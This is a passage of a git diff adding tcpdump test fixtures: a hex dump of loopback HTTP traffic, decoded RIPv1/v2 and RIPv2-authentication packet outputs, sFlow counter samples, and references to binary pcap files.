+	0x1070:  6974 2077 6f75 6c64 2067 6976 6520 4465
+	0x1080:  6269 616e 2061 2062 6574 7465 720a 6f76
+	0x1090:  6572 7669 6577 206f 6620 7468 6520 6170
+	0x10a0:  6163 6865 2070 6163 6b61 6765 2075 7361
+	0x10b0:  6765 2e0a 0a3c 4832 3e41 626f 7574 2074
+	0x10c0:  6869 7320 7061 6765 3c2f 4832 3e0a 0a3c
+	0x10d0:  494d 4720 414c 4947 4e3d 2272 6967 6874
+	0x10e0:  2220 414c 543d 2222 2048 4549 4748 543d
+	0x10f0:  2232 3437 2220 5749 4454 483d 2232 3738
+	0x1100:  2220 5352 433d 2269 636f 6e73 2f6a 6865
+	0x1110:  3036 312e 706e 6722 3e0a 0a3c 503e 5468
+	0x1120:  6973 2069 7320 6120 706c 6163 6568 6f6c
+	0x1130:  6465 7220 7061 6765 2069 6e73 7461 6c6c
+	0x1140:  6564 2062 7920 7468 6520 3c41 0a48 5245
+	0x1150:  463d 2268 7474 703a 2f2f 7777 772e 6465
+	0x1160:  6269 616e 2e6f 7267 2f22 3e44 6562 6961
+	0x1170:  6e3c 2f41 3e0a 7265 6c65 6173 6520 6f66
+	0x1180:  2074 6865 2061 7061 6368 6520 5765 6220
+	0x1190:  7365 7276 6572 2070 6163 6b61 6765 2e0a
+	0x11a0:  0a3c 503e 5468 6973 2063 6f6d 7075 7465
+	0x11b0:  7220 6861 7320 696e 7374 616c 6c65 6420
+	0x11c0:  7468 6520 4465 6269 616e 2047 4e55 2f4c
+	0x11d0:  696e 7578 206f 7065 7261 7469 6e67 2073
+	0x11e0:  7973 7465 6d2c 0a62 7574 2069 7420 6861
+	0x11f0:  7320 3c73 7472 6f6e 673e 6e6f 7468 696e
+	0x1200:  6720 746f 2064 6f20 7769 7468 2074 6865
+	0x1210:  2044 6562 6961 6e0a 5072 6f6a 6563 743c
+	0x1220:  2f73 7472 6f6e 673e 2e20 506c 6561 7365
+	0x1230:  2064 6f20 3c73 7472 6f6e 673e 6e6f 743c
+	0x1240:  2f73 7472 6f6e 673e 2063 6f6e 7461 6374
+	0x1250:  2074 6865 2044 6562 6961 6e0a 5072 6f6a
+	0x1260:  6563 7420 6162 6f75 7420 6974 2e3c 2f50
+	0x1270:  3e0a 0a3c 503e 4966 2079 6f75 2066 696e
+	0x1280:  6420 6120 6275 6720 696e 2074 6869 7320
+	0x1290:  6170 6163 6865 2070 6163 6b61 6765 2c20
+	0x12a0:  6f72 2069 6e20 4170 6163 6865 2069 7473
+	0x12b0:  656c 662c 0a70 6c65 6173 6520 6669 6c65
+	0x12c0:  2061 2062 7567 2072 6570 6f72 7420 6f6e
+	0x12d0:  2069 742e 2020 496e 7374 7275 6374 696f
+	0x12e0:  6e73 206f 6e20 646f 696e 6720 7468 6973
+	0x12f0:  2c20 616e 6420 7468 650a 6c69 7374 206f
+	0x1300:  6620 3c41 2048 5245 463d 2268 7474 703a
+	0x1310:  2f2f 6275 6773 2e64 6562 6961 6e2e 6f72
+	0x1320:  672f 7372 633a 6170 6163 6865 223e 6b6e
+	0x1330:  6f77 6e20 6275 6773 3c2f 413e 206f 6620
+	0x1340:  7468 6973 0a70 6163 6b61 6765 2c20 6361
+	0x1350:  6e20 6265 2066 6f75 6e64 2069 6e20 7468
+	0x1360:  6520 0a3c 4120 4852 4546 3d22 6874 7470
+	0x1370:  3a2f 2f77 7777 2e64 6562 6961 6e2e 6f72
+	0x1380:  672f 4275 6773 2f52 6570 6f72 7469 6e67
+	0x1390:  223e 4465 6269 616e 2042 7567 2054 7261
+	0x13a0:  636b 696e 6720 5379 7374 656d 3c2f 413e
+	0x13b0:  2e0a 0a3c 503e 5468 616e 6b73 2066 6f72
+	0x13c0:  2075 7369 6e67 2074 6869 7320 7061 636b
+	0x13d0:  6167 652c 2061 6e64 2063 6f6e 6772 6174
+	0x13e0:  756c 6174 696f 6e73 2066 6f72 2079 6f75
+	0x13f0:  7220 6368 6f69 6365 206f 660a 6120 4465
+	0x1400:  6269 616e 2073 7973 7465 6d21 3c2f 503e
+	0x1410:  0a0a 3c44 4956 2061 6c69 676e 3d22 6365
+	0x1420:  6e74 6572 223e 0a3c 6120 6872 6566 3d22
+	0x1430:  6874 7470 3a2f 2f77 7777 2e64 6562 6961
+	0x1440:  6e2e 6f72 672f 223e 0a3c 494d 4720 616c
+	0x1450:  6967 6e3d 226d 6964 646c 6522 2068 6569
+	0x1460:  6768 743d 2233 3022 2077 6964 7468 3d22
+	0x1470:  3235 2220 7372 633d 2269 636f 6e73 2f64
+	0x1480:  6562 6961 6e2f 6f70 656e 6c6f 676f 2d32
+	0x1490:  352e 6a70 6722 2061 6c74 3d22 4465 6269
+	0x14a0:  616e 223e 0a3c 2f61 3e0a 3c61 2068 7265
+	0x14b0:  663d 2268 7474 703a 2f2f 7777 772e 6170
+	0x14c0:  6163 6865 2e6f 7267 2f22 3e0a 3c49 4d47
+	0x14d0:  2061 6c69 676e 3d22 6d69 6464 6c65 2220
+	0x14e0:  6865 6967 6874 3d22 3332 2220 7769 6474
+	0x14f0:  683d 2232 3539 2220 7372 633d 2269 636f
+	0x1500:  6e73 2f61 7061 6368 655f 7062 2e70 6e67
+	0x1510:  2220 616c 743d 2241 7061 6368 6522 3e0a
+	0x1520:  3c2f 613e 0a3c 2f44 4956 3e0a 0a3c 212d
+	0x1530:  2d0a 2020 5468 6973 2070 6167 6520 7761
+	0x1540:  7320 696e 6974 6961 6c6c 7920 6372 6561
+	0x1550:  7465 6420 6279 204a 6f68 6e69 6520 496e
+	0x1560:  6772 616d 2028 6874 7470 3a2f 2f6e 6574
+	0x1570:  676f 642e 6e65 742f 290a 2020 4974 2077
+	0x1580:  6173 206c 6174 6572 2065 6469 7465 6420
+	0x1590:  6279 204d 6174 7468 6577 2057 696c 636f
+	0x15a0:  7820 616e 6420 4a6f 7369 7020 526f 6469
+	0x15b0:  6e2e 0a20 204c 6173 7420 6d6f 6469 6669
+	0x15c0:  6564 3a20 2444 6174 653a 2032 3030 342f
+	0x15d0:  3036 2f32 3020 3135 3a33 333a 3537 2024
+	0x15e0:  2e0a 2020 2d2d 3e0a 0a3c 2f42 4f44 593e
+	0x15f0:  0a3c 2f48 544d 4c3e 0a
+22:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  0034 1b6e 4000 4006 2154 7f00 0001 7f00
+	0x0020:  0001 da70 0050 3758 8a49 377a a3a9 8010
+	0x0030:  305f 10ea 0000 0101 080a 4ddc 9219 4ddc
+	0x0040:  9219
+22:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  0034 1b70 4000 4006 2152 7f00 0001 7f00
+	0x0020:  0001 da70 0050 3758 8a49 377a a3a9 8011
+	0x0030:  305f 0be1 0000 0101 080a 4ddc 9721 4ddc
+	0x0040:  9219
+22:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  0034 1fe8 4000 4006 1cda 7f00 0001 7f00
+	0x0020:  0001 0050 da70 377a a3a9 3758 8a4a 8011
+	0x0030:  2000 1735 0000 0101 080a 4ddc 9723 4ddc
+	0x0040:  9721
+22:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  0034 1b72 4000 4006 2150 7f00 0001 7f00
+	0x0020:  0001 da70 0050 3758 8a4a 377a a3aa 8010
+	0x0030:  305f 06d4 0000 0101 080a 4ddc 9723 4ddc
+	0x0040:  9723
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/ripv1v2.out b/peasoup_examples/tests/tcpdump/tcpd_tests/ripv1v2.out
new file mode 100644
index 0000000000000000000000000000000000000000..65243d8af99b7a76bfccdd0ec18c0d993d8a59fb
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/ripv1v2.out
@@ -0,0 +1,16 @@
+IP (tos 0xc0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 52)
+    10.0.0.20.520 > 10.0.0.255.520: 
+	RIPv1, Request, length: 24, routes: 1
+	  AFI 0, 0.0.0.0, metric: 16
+IP (tos 0xc0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 52)
+    10.0.0.20.520 > 10.0.0.255.520: 
+	RIPv1, Response, length: 24, routes: 1
+	  10.70.178.0, metric: 1
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 52)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Request, length: 24, routes: 1 or less
+	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 52)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Response, length: 24, routes: 1 or less
+	  AFI IPv4,     10.70.178.0/24, tag 0x0000, metric: 1, next-hop: self
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/ripv1v2.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/ripv1v2.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..b98056fba044bf868b32483c4d850646209f1c68
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/ripv1v2.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/ripv2_auth.out b/peasoup_examples/tests/tcpdump/tcpd_tests/ripv2_auth.out
new file mode 100644
index 0000000000000000000000000000000000000000..618e4a7f5c661635d82c02790706493edacb66b9
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/ripv2_auth.out
@@ -0,0 +1,94 @@
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 72)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Request, length: 44, routes: 2 or less
+	  Simple Text Authentication data: abcdefghijklmnop
+	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 72)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Response, length: 44, routes: 2 or less
+	  Simple Text Authentication data: abcdefghijklmnop
+	  AFI IPv4,     10.70.178.0/24, tag 0x0000, metric: 1, next-hop: self
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 92)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Request, length: 64, routes: 3 or less
+	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 16, SeqNo 1339429688, MBZ 0, MBZ 0
+	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+	  Auth trailer:
+	  0x0000:  a2fe c865 f120 8808 2326 1369 d6c2 3593
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 92)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Response, length: 64, routes: 3 or less
+	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 16, SeqNo 1339429692, MBZ 0, MBZ 0
+	  AFI IPv4,     10.70.178.0/24, tag 0x0000, metric: 1, next-hop: self
+	  Auth trailer:
+	  0x0000:  6d21 5dd5 6d27 a6f4 8a51 e2c2 fcc2 af0f
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 96)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Request, length: 68, routes: 3 or less
+	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 20, SeqNo 1339429713, MBZ 0, MBZ 0
+	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+	  Auth trailer:
+	  0x0000:  728c 5b16 9a1b 3913 0021 a73f 7a73 bc1b
+	  0x0010:  eee0 e6a2
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 96)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Response, length: 68, routes: 3 or less
+	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 20, SeqNo 1339429716, MBZ 0, MBZ 0
+	  AFI IPv4,     10.70.178.0/24, tag 0x0000, metric: 1, next-hop: self
+	  Auth trailer:
+	  0x0000:  375c 8a50 f77f 543b 2425 a695 a27d 6b95
+	  0x0010:  3375 fc89
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 108)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Request, length: 80, routes: 4 or less
+	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 32, SeqNo 1339429740, MBZ 0, MBZ 0
+	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+	  Auth trailer:
+	  0x0000:  4ae5 fb9c 9702 03b8 5a93 812d 0258 6740
+	  0x0010:  451a bd20 cee4 8a3d a466 17a0 e550 5b4b
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 108)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Response, length: 80, routes: 4 or less
+	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 32, SeqNo 1339429744, MBZ 0, MBZ 0
+	  AFI IPv4,     10.70.178.0/24, tag 0x0000, metric: 1, next-hop: self
+	  Auth trailer:
+	  0x0000:  3965 b755 535a 3375 e83a 973c 60c9 1693
+	  0x0010:  f2de 8132 9e87 3f7f b763 3cb0 b3dc 3ba2
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 124)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Request, length: 96, routes: 4 or less
+	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 48, SeqNo 1339429761, MBZ 0, MBZ 0
+	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+	  Auth trailer:
+	  0x0000:  a1f2 20f6 6f72 f45b e8e0 291f 2322 a198
+	  0x0010:  1b6b 67bc 9279 7d3b 8e05 c683 8b7e 05bc
+	  0x0020:  230c abc8 1470 8e30 5470 fb27 6fe3 4506
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 124)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Response, length: 96, routes: 4 or less
+	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 48, SeqNo 1339429765, MBZ 0, MBZ 0
+	  AFI IPv4,     10.70.178.0/24, tag 0x0000, metric: 1, next-hop: self
+	  Auth trailer:
+	  0x0000:  64de 1dec 3632 e210 0258 2404 0b32 a947
+	  0x0010:  aa86 59a1 fef3 9248 3115 c266 0386 f183
+	  0x0020:  4f31 1df0 0681 e1cc ba10 b4c1 7795 9773
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 140)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Request, length: 112, routes: 5 or less
+	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 64, SeqNo 1339429781, MBZ 0, MBZ 0
+	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+	  Auth trailer:
+	  0x0000:  73ad b6e3 5fe6 07bd 0bc5 ca25 41cc 63ec
+	  0x0010:  bd06 55b1 77a4 e223 ef52 8ea2 7480 e39c
+	  0x0020:  ee51 96bd 4e35 8cb7 f185 ba49 9892 e683
+	  0x0030:  e756 788d aa23 bf90 0b01 5c2d 241d 2d8e
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 140)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Response, length: 112, routes: 5 or less
+	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 64, SeqNo 1339429785, MBZ 0, MBZ 0
+	  AFI IPv4,     10.70.178.0/24, tag 0x0000, metric: 1, next-hop: self
+	  Auth trailer:
+	  0x0000:  ad5a 5d8a a1a8 b023 1ec3 5c1c ba6a 45fb
+	  0x0010:  bee1 5584 6b1c 724d b1b7 f02e 7365 f038
+	  0x0020:  7558 0914 6762 00d1 a92f d499 5da2 43ad
+	  0x0030:  202c 7a9b 8065 49ad 260b 2142 0f8d d83f
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/ripv2_auth.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/ripv2_auth.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..57b5a41e93dfefe0767fda3fede3349a87a13473
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/ripv2_auth.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/rsvp-infinite-loop.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/rsvp-infinite-loop.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..dc03dacc8b1c9afedf1499f73708c018f09358d3
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/rsvp-infinite-loop.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/sflow_multiple_counter_30_pdus.out b/peasoup_examples/tests/tcpdump/tcpd_tests/sflow_multiple_counter_30_pdus.out
new file mode 100644
index 0000000000000000000000000000000000000000..1b1938e40d75573b19dd0cd51715f69f3b37fc48
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/sflow_multiple_counter_30_pdus.out
@@ -0,0 +1,1828 @@
+IP (tos 0x0, ttl 253, id 23654, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.76.40948 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.8.4, agent-id 2, seqnum 204720, uptime 2612972293, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 87096, type 0, idx 55, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 55, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 820721, unicast pkts 9601, multicast pkts 0, broadcast pkts 1302, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 178785248, unicast pkts 9736, multicast pkts 132958, broadcast pkts 2213534, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 87096, type 0, idx 56, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 56, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 156084746, unicast pkts 473593, multicast pkts 0, broadcast pkts 1862745, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 59635889, unicast pkts 8834, multicast pkts 132958, broadcast pkts 352092, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 87099, type 0, idx 57, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 57, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3051593057, unicast pkts 52919488, multicast pkts 1491, broadcast pkts 956, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1525716840, unicast pkts 30013667, multicast pkts 131467, broadcast pkts 2213880, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 87096, type 0, idx 60, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 60, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 0, unicast pkts 0, multicast pkts 0, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 178404732, unicast pkts 3035, multicast pkts 132958, broadcast pkts 2214836, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 87016, type 0, idx 61, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 61, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 0, unicast pkts 0, multicast pkts 0, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 178368955, unicast pkts 3031, multicast pkts 132840, broadcast pkts 2214791, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 87096, type 0, idx 62, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 62, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 0, unicast pkts 0, multicast pkts 0, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 178404650, unicast pkts 3034, multicast pkts 132958, broadcast pkts 2214836, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 87096, type 0, idx 63, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 63, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 0, unicast pkts 0, multicast pkts 0, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 178404732, unicast pkts 3035, multicast pkts 132958, broadcast pkts 2214836, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12208, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499682, uptime 12973660, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007195, type 0, idx 1, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 1, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2460750, unicast pkts 22544, multicast pkts 5, broadcast pkts 6408, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3991394888, unicast pkts 131978, multicast pkts 2198965, broadcast pkts 48358863, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2006745, type 0, idx 2, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 2, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 122196260, unicast pkts 82823825, multicast pkts 710, broadcast pkts 38540, discards 0
+	      In errors 2, unknown protos 0
+	      Out octets 3744715166, unicast pkts 93942161, multicast pkts 2218252, broadcast pkts 48317917, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 2, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007118, type 0, idx 3, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 3, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 87175881, unicast pkts 11173387, multicast pkts 1312, broadcast pkts 7310, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2575091711, unicast pkts 8663056, multicast pkts 1949260, broadcast pkts 8701202, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007648, type 0, idx 4, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 4, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3013636604, unicast pkts 424917316, multicast pkts 1216, broadcast pkts 196654, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 584566587, unicast pkts 294167676, multicast pkts 1948957, broadcast pkts 8512276, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 1832884, type 0, idx 5, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 5, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3835856598, unicast pkts 6812799, multicast pkts 1145, broadcast pkts 705277, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2182764482, unicast pkts 8284848, multicast pkts 2738770, broadcast pkts 7987023, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007139, type 0, idx 6, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 6, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 21722, unicast pkts 0, multicast pkts 12, broadcast pkts 37, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1874046310, unicast pkts 98496, multicast pkts 1955062, broadcast pkts 20311831, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2006986, type 0, idx 7, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 7, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3474926128, unicast pkts 10088201, multicast pkts 1463, broadcast pkts 14105, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 831378523, unicast pkts 12805926, multicast pkts 1954494, broadcast pkts 20293366, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12209, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499683, uptime 12973661, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007114, type 0, idx 8, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 8, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
